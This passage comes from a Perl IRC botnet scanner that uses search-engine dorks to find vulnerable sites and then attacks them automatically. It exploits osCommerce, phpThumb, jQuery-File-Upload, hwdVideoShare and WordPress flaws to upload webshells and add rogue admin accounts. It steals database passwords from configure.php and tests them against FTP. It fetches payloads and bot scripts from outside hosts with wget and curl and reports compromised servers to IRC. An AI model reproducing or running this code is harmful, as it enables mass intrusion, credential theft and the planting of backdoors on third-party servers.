0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoNL",$type); } exit; } } if ($engine =~ /yahooDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoDK",$type); } exit; } } if ($engine =~ /yahooPH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoPH",$type); } exit; } } if ($engine =~ /yahooCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCL",$type); } exit; } } if ($engine =~ /yahooRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoRU",$type); } exit; } } if ($engine =~ /yahooCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCH",$type); } exit; } } if ($engine =~ /yahooCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCO",$type); } exit; } } if ($engine =~ /yahooFI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoFI",$type); } exit; } } if ($engine =~ /yahooRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoRO",$type); } exit; } } if ($engine =~ /yahooVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoVE",$type); } exit; } } if ($engine =~ /yahooAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoAT",$type); } exit; } } if ($engine =~ /yahooPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoPL",$type); } exit; } } if ($engine =~ /yahooKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoKR",$type); } exit; } } if ($engine =~ /yahooNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoNZ",$type); } exit; } } if ($engine =~ /yahooGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoGR",$type); } exit; } } if ($engine =~ /yahooPE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoPE",$type); } exit; } } if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type); } exit; } } if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKCA",$type); } exit; } } if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDE",$type); } exit; } } if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKIT",$type); } exit; } } if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKFR",$type); } exit; } } if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKES",$type); } exit; } } if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKRU",$type); } exit; } } if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNL",$type); } exit; } } if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKUK",$type); } exit; } } if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKBR",$type); } exit; } } if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKPL",$type); } exit; } } if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAU",$type); } exit; } } if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAT",$type); } exit; } } if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKJP",$type); } exit; } } if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKSE",$type); } exit; } } if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKMX",$type); } exit; } } if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNO",$type); } exit; } } if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDK",$type); } exit; } } if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type); } exit; } } if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type); } exit; } } if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type); } exit; } } if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type); } exit; } } if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type); } exit; } } if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type); } exit; } } if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type); } exit; } } } ###### EXPLOITING ####### sub osco_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("#scans","![9$engine]![ 6Finish ]"); } my $categories = "http://".$site."admin/categories.php/login.php"; my $filemanager = "http://".$site."admin/file_manager.php/login.php"; my $bannermanager = "http://".$site."admin/banner_manager.php/login.php"; my $ancor = "http://".$site."java.PHP"; my $xmlrpc = "http://".$site."images/blacks.PHP"; my $metri = "http://".$site."images/metri.php"; my $recky = "http://".$site."images/recky.php"; my $exp1 = &get_content($categories); my $exp2 = &get_content($filemanager); my $exp3 = &get_content($bannermanager); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($exp1 =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) { my $sEm1 = $categories."?action=download&filename=/includes/configure.php"; my $cek1 = &get_content($sEm1); if ($cek1 =~ /http:\/\//) { &ossEm($sEm1,$chan,$site,$engine); &osxpl($site,$chan); } my $sEmxpl = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_version => 'TLSv1:!TLSv11:!TLSv12:!SSLv2:!SSLv3'}); my $res = $sEmxpl->post($categories."?cPath=&action=new_product_preview",['products_image' => ['./osco.jpg' => 'blacks.PHP' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string; my $memey1 = &get_content($xmlrpc); &get_content($recky); &get_content($metri); &get_content($metri); &get_content($metri); sleep(2); if ($memey1 =~ /sEm - eXploit/) { my $safe = ""; my $os = ""; my $uid = ""; if ($memey1 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($memey1 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($memey1 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$admin","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $xmlrpc15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $xmlrpc15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("#scans","![9$engine]! [12Shell 3(SafeMode=$safe) (OS=$os) uid=$uid]"); } } if ($exp2 =~ /TABLE_HEADING_FILENAME/i) { my $sEm2 = $filemanager."?action=download&filename=/includes/configure.php"; my $cek2 = &get_content($sEm2); if ($cek2 =~ /http:\/\//) { &ossEm($sEm2,$chan,$site,$engine); &osxpl($site,$chan); } my $sEmxpl2 = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_version => 'TLSv1:!TLSv11:!TLSv12:!SSLv2:!SSLv3'}); my $res2 = $sEmxpl2->post($filemanager."?action=processuploads",['file_1' => ['./osco.jpg' => 'java.PHP' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res2->as_string; my $memey2 = &get_content($ancor); &get_content($recky); &get_content($metri); &get_content($metri); &get_content($metri); sleep(2); if ($memey2 =~ /sEm - eXploit/i) { my $safe = ""; my $os = ""; my $uid = ""; if ($memey2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($memey2 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($memey2 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$admin","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $ancor15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $ancor15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("#scans","![9$engine]! [12Shell 3(SafeMode=$safe) (OS=$os) uid=$uid]"); } } if ($exp3 =~ /TABLE_HEADING_BANNERS/i) { my $sEm3 = $bannermanager."?action=download&filename=/includes/configure.php"; my $cek3 = &get_content($sEm3); if ($cek3 =~ /http:\/\//) { &ossEm($sEm3,$chan,$site,$engine); &osxpl($site,$chan); } my $sEmxpl3 = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_version => 'TLSv1:!TLSv11:!TLSv12:!SSLv2:!SSLv3'}); my $res3 = $sEmxpl3->post($bannermanager."?action=insert",['banners_image' => ['./osco.jpg' => 'blacks.PHP' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res3->as_string; my $memey3 = &get_content($xmlrpc); &get_content($recky); &get_content($metri); &get_content($metri); &get_content($metri); sleep(2); if ($memey3 =~ /sEm - eXploit/) { my $safe = ""; my $os = ""; my $uid = ""; if ($memey3 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($memey3 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($memey3 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$admin","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $xmlrpc15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $xmlrpc15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("#scans","![9$engine]! [12Shell 3(SafeMode=$safe) (OS=$os) uid=$uid]"); } else { &msg("#scans","![9X]! 10$site [ 3* ]"); sleep(2); } sleep(2); } exit; } } } } } sub ossEm() { my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $request = HTTP::Request->new(GET=>$url); my $browser = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_version => 'TLSv1:!TLSv11:!TLSv12:!SSLv2:!SSLv3'}); $browser->timeout(10); my $response = $browser->request($request); if ($response->is_success) { my $res = $response->as_string; if ($res =~ m/'DB_SERVER', '(.*)'/g) { $userpass = getUnixPass($res); &msg("$admin","9DB 11http://".$site." 15|7 $userpass "); @index = ('phpmyadmin/','phpMyAdmin/'); foreach $scan(@index){ $urlx = "http://".$site.$scan; $request = HTTP::Request->new(GET=>$urlx); $useragent = LWP::UserAgent->new(); $response = $useragent->request($request); if ($response->is_success && $response->content =~ /Admin Area/ || $response->content =~ /Password/ || $response->content =~ /welcome/ || $response->content =~ /passwd/ || $response->content =~ /username/) { &msg("$admin","9PMA 4$urlx 15|8 $userpass "); } sleep(1); } my $lulz = "http://".$site; my $user = ""; my $pass = ""; if($lulz =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { my $host = $2; my @ftpu = split(":xXx:", $userpass); $user = $ftpu[0]; $pass = $ftpu[1]; my $ftpstat = ""; if($user =~ /_/) { @userz = split("_", $user); $user = $userz[0];} osco_ftp($res,$host,$user,$pass,$chan,$engine); } sleep(5); } } } sub getUnixPass() { my $string = $_[0]; my @sEm = split("\r\n", $string); my $pass = ""; my $user = ""; foreach my $line (@sEm) { if(($line =~ m/'DB_SERVER_PASSWORD', '(.*)'/i) or ($line =~ m/'DB_SERVER_PASSWORD', '(.*)'/i)) { $pass = $1; } if(($line =~ m/'DB_SERVER_USERNAME', '(.*)'/i) or ($line =~ m/'DB_SERVER_USERNAME', '(.*)'/i)) { $user = $1; } } return $user." : ".$pass; } sub osxpl() { $site = $_[0]; $chan = $_[1]; my $browser = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_version => 'TLSv1:!TLSv11:!TLSv12:!SSLv2:!SSLv3'}); my $responde = HTTP::Request->new(POST => "http://".$site."/admin/administrators.php/login.php?action=insert"); $responde->content_type("application/x-www-form-urlencoded"); $responde->content("username=sEm&password=wew"); if($browser->request($responde)->as_string){ my $sEm = "http://".$site."admin/administrators.php/login.php?action=new"; my $check = &get_content($sEm); if ($check =~ /sEm/i){ &msg("$admin","11Login 9http://".$site."admin/login.php 15|2 login 15:2 sEm 15|2 pass 15:2 wew "); } } } sub osco_ftp() { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; my $chan = $_[4]; my $engine = $_[5]; my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if $ftp->login($user,$pass); $ftp->quit; if ($success == 0) { &msg("$admin","$oscologo FTP 4<9=4>9 $host 15|2 $user 15:2 $pass "); } } sub phpthumb_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$phpthumblogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("#scans","![9$engine]![ 6Finish ]"); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://trans-nika.pl/buffer/index1.txt -O index1.txt"; my $website = "http://".$site."mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/index1.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv index1.txt index1.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/index1.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=phpthumb"; &get_content($sender); &msg("$admin","$phpthumblogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$phpthumblogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("#scans","![9$engine]! [12Shell 3(SafeMode=$safe) (OS=$os) uid=$uid]"); } } } } } sub try_xpl2() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("#scans","![9$engine]![ 6Finish ]"); } my $bx = "http://".$site."assets/global/plugins/jquery-file-upload/server/php/"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['files' => ['dlc.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /files/) { my $check = $ua->get("http://".$site."assets/global/plugins/jquery-file-upload/server/php/files/dlc.php")->content; if($check =~/
/) { my $test = "http://".$site."assets/global/plugins/jquery-file-upload/server/php/files/dlc.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $cekap = &get_content($test); if ($cekap =~ /GIF89a/) { &get_content($test); my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("#scans","![9$engine]! [12Shell 3(SafeMode=$safe) (OS=$os) uid=$uid ]"); &msg("$admin","$assetslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$assetslogo15$engine 4<9=4>4 sukses cuy $test 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$assetslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$assetslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } }exit;} } } } ############################# sub try_xpl1() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; for(my $i = 0; $i <= $num; $i++) { if($i >= 10) { sleep(int(rand(3)));} if($i == ($num -1)) { if ($count == $num-1) { &msg("#scans","![9$engine]![ 6Finish ]"); } my $bx = "http://".$site."components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php"; my $xpl = "01libs.php.vob"; my $resPath = "/tmp/"; my $url = "http://".$site."/components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php"; my $postUrl = $url."?jqUploader=1"; my $ua = LWP::UserAgent->new( keep_alive => 0,timeout => 120,agent => $uagent); my $response = $ua->request( POST "$postUrl",Content_Type => 'form-data',Content => ["Filedata" => ["$xpl"]]); my $date = $response->header('Date'); $date =~ /(\d\d):(\d\d):(\d\d)\s(.*)/; my $hours = $1; my $minutes = $2; my $second = $3; my $timemode = lc($4); my $csite = $site; if($site =~ /\//) { $csite =~ /(.+?)\//; $csite = $1;} if($response->decoded_content =~ /done/ig) { my $gettime = "http://check-host.net/ip-info?host=".$csite; my $get = &get_content($gettime); $get =~ /\?\s(\d\d):(\d\d):(\d\d)?\s\((.*)\)\s\/?\s(\d\d\d\d)\.(\d\d)\.(\d\d)*/ig; my $mode = $4; my $year = $5; my $mon = $6; my $day = $7; if($mode ne "") { my $tformat = $year."-".$mon."-".$day." ".$hours.":".$minutes.":".$second; my $gethour = $hwdXpl."?time=".$tformat."&from=".$timemode."&to=".$mode; my $con = &get_content($gethour); sleep(2); $con =~ /(\d\d):(\d\d):(\d\d)\s(.*)/; my $rhour = $1; my $check = $ua->get("http://".$site.$resPath.$year.$mon.$day.$rhour.$minutes.$second.$xpl)->content; if($check =~/
/) { my $test = "http://".$site.$resPath.$year.$mon.$day.$rhour.$minutes.$second.$xpl; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /GIF89a/) { for(my $i =0; $i <= 60;$i++) { if(length($i) == 1) { $i = "0".$i; } my $check1 = $ua->get("http://".$site.$resPath.$year.$mon.$day.$rhour.$minutes.$i.$xpl)->content; if($check1 =~/
/) { my $test1 = "http://".$site.$resPath.$year.$mon.$day.$rhour.$minutes.$i.$xpl; my $cekap = &get_content($test1); my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("#scans","![9$engine]! [12Shell 3(OS=$os) uid=$uid]"); &msg("$admin","$hwdlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$hwdlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("#scans","$hwdlogo15$engine 4<9=4>4 Success 4<9=4>12 (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("#scans","![9$engine]! [12Shell 3(OS=$os) uid=$uid]"); &msg("$nick","$hwdlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test1."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$hwdlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test1."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } else { my @bdpath = ( "plugins/editors/index.php", "tmp/string.php", "plog-includes/lib/phpThumb/.post.php", "/phpThumb/.grv.php", "/phpThumb/pagat.php", ); my @result = &backdoorCheck($site,@bdpath); if($result[0] ne "false") { sleep(int(rand(3))); &msg("#scans","![7$engine]! [ 4Finder Success 3OK! ]"); &msg("$admin","15[4+12$engine4+15] 11$result[0] OS: $result[1] SAFEMODE:4$result[2] "); }}}} }exit; } } } } } } } } } ########################## sub try_xpl() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("#scans","![9$engine]![ 6Finish ]"); } if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $shell = "http://".$site."wp-content/uploads/settingsimages/dlc.php"; my $ghosts = "http://".$site.$bug; my $cek = &get_content($ghosts);sleep(1); if ($cek =~ /This file is incorect/i){ &msg("$chanxxx","14(4,1$engine14) 15,1 http://$site "); sleep(2); my $explo = $rceinjector."?url=".$site."&type=ghost"; &get_content($explo);sleep(1); my $check = &get_content($shell."?220");sleep(1); if ($check =~ /GIF89a/){ &get_content($shell."?220");sleep(1); &os($shell,$chan,$engine,$logo,$nick); } } } exit; } &shells($test,$chan,$site,$engine,$nick,$logo); } } } sub shells() { my $chan = $_[0]; my $site = $_[1]; my $engine = $_[2]; my $nick = $_[3]; my $logo = $_[4]; my $crota = "http://".$site.".dlcx.php"; my $crotb = "http://".$site.".dlcx.php"; my $html = &get_content($crota); &query("http://".$site,'system("wget http://iplatforma.ru/arkano.aff -q -O ../.dlcx.php");'); &query("http://".$site,'system("wget http://iplatforma.ru/arkano.aff -q -O ../.dlcx.php");'); my $html = &get_content($crota); my $html9 = &get_content($crotb); if ($html =~ /GIF89a/) { my $safe = ""; my $os = ""; my $uid = ""; if ($html =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($html =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($html =~ /uid=(.*?)gid=/){$uid=$1;} &msg("#scans","![9X]! 11Private sHeLL 4[3$os4][3safemode10:3 OFF sEm irc.saronde.tk 77774]"); sleep(5); &msg("$nick","$vdlogo 15$engine3 [Success]9 $crota 15(OS=$os) uid=$uid"); sleep(2); &msg("$admin","$vdlogo 15$engine3 [Success]9 $crota 15(OS=$os) uid=$uid"); sleep(2); } if ($html9 =~ /GIF89a/) { my $safe = ""; my $os = ""; my $uid = ""; if ($html9 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($html9 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($html9 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$admin","$vdlogo 15$engine9 $crotb 15(OS=$os) uid=$uid"); sleep(2); &msg("$nick","$vdlogo 15$engine3 [Success]9 $crotb 15(OS=$os) uid=$uid"); sleep(2); &msg("#scans","![9X]! 11Private Shell 4[3$os4][3safemode10:3 OFF sEm irc.saronde.tk 77774]"); sleep(5); } } sub query() { my $target = $_[0]; my $code = "R0lGODlhPD9waHANCmV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoc3RycmV2KHN0cl9yb3QxMygnPThUK3RQVE5xOE5COEhSbVVSZkxzL1FoMWVJWkRlTWVhc1hmVjZDUUx1UDVFZWxsRHZxSmJrN0x4eGZXRncwYWloKy84MUhzV3JFcERlYnM5b2p4VytyQm1NVjB0K0Z0bjIxVE9TcUxOSXZBNURQQjdnemlOZkRuSnRaRnNKWW9CUDVVMjRNRFROKytZYnFtQVEvR3pkdVBtalVPTkpBWVNWMFZrUFZlM0RTR0x6ZGI2ZFdPK2dkZmE0cVFabk5BVHBqa1pTVEQ4Y1M2MFcvSHk5a2xmeHRTUkpiRmpjWmg0L3VEaHUyanRwK3VNL1huQXhLN2RGOWE2QitPbWJNTXdtSS9lWkp0cEtTOUNDTkMrQnZhSWRnYTJramhnZGNhMC9VSGNhcmdYSlhwNG1Ea0gzT0Jsalg5ZVkrOEthcEdsSm82R0szZDZzS0JiNXpHS2gwWDNoMmRRZEhuL2tjb24xaFFkTktORy8xR0JjMzVaalhjSkNlRkJpeWdWN3BRbEtjZzhiV3RLQ2tvaFdleGU2SXk3RW0zSTRIMjQvUVIwQy95M2VuWjgxOUxwbTVXZmZYblZCU3lDL1JndVVsTml2Q1M5b04wSHJkRW5JWWxqeFJXdUM5ZmRwZG81RXMyMW9nbnNPM3Bja0wxbDRhbjErTW1CTWxjSS9YdkZqQjc1ZGY3QW02ZWdJcW85ektsd1BxSTI5MEhaSmUyMU9JNnlCU3FENzc4bi9ES3Vwbktwc0x2R3JsbEFLbVVDeEpDK0M4ZTNnZElnN0dUSG1DSThmb1NsbWppcDBHWHhFK3lMclJMbnNuVEtCbkptcnAxWGRlRlVwaE1ldXhtaEtBWXBySmNlcjcybWNkVkd5emUvMW9BMEhzQjdtck1WRWM5Rno1NnhHVDg5M2Fweit0Y1VyajM2MTNFY3I2SmIxMHBuM2g2SGFkZlpzOU1rY1lJN0tnYzFONUQ3S1RYK3B6TXBybEZJM1V3dFg3enl6SWFnckZzVEh1Q20ya3Vzcm1DY25xOFFNOGMvcnBNWm1nKzYxVWNVM2RkQUVsNjJqSW42SWNwMmFuemliK215amYwb1orQ2dVNy9VeWdSc0RpbytYQXFvMzRZQTJ2SjNlemNyNjhKY0RrYy9yd3AwVExzbzhUMm5sQTlZM2VVejNrRzE3c3haUHNsb3M1MDdpQkJEV1NqL3FVTU1YbGorRE5QbTUrdVh2V2laWHlhNUhxdDdYcGlpR09hRjV4VitwSEFjVVZwZ0hVb3czc3dyTGRsSW1LWU1zSG56djJlZGI3V2tTSDBJTTl0KzQ4alhmQnFtOTRUNFMxYVFrNTVyT3VEK1FhemNvZUJpTnNjbURTckhkRTJ4Q1VBQWNFSkVmT0VDS0puUldoZmdsMEE2dHBBSlVMVjVsY3FLMnlDVFlGSEI2Z1VaVWxxQVBKa0pMcVFPRmFvNnF6aGNZTmJPMFdha0RZMVdBUFV2dVhhRTZ2NUhDUkVDSkVXRnR4NW8zTzJMNEtod0lKZmM1ZFBITFhmMjFPcVhKQkR2cXpSL3FFRDFtbkdGaFFMaFJwWTdRV3B4UmlmQ05BSlBkTXg5U1hFYVJpSjhqVUZUUkVTWnZvYUNVbERlbG9EYXhyUkIwVm9sdE91MjNKdEVEdVdvN2ZhZXVKcjMvZ3JLZkR0WEVMcWRsa1QzOFB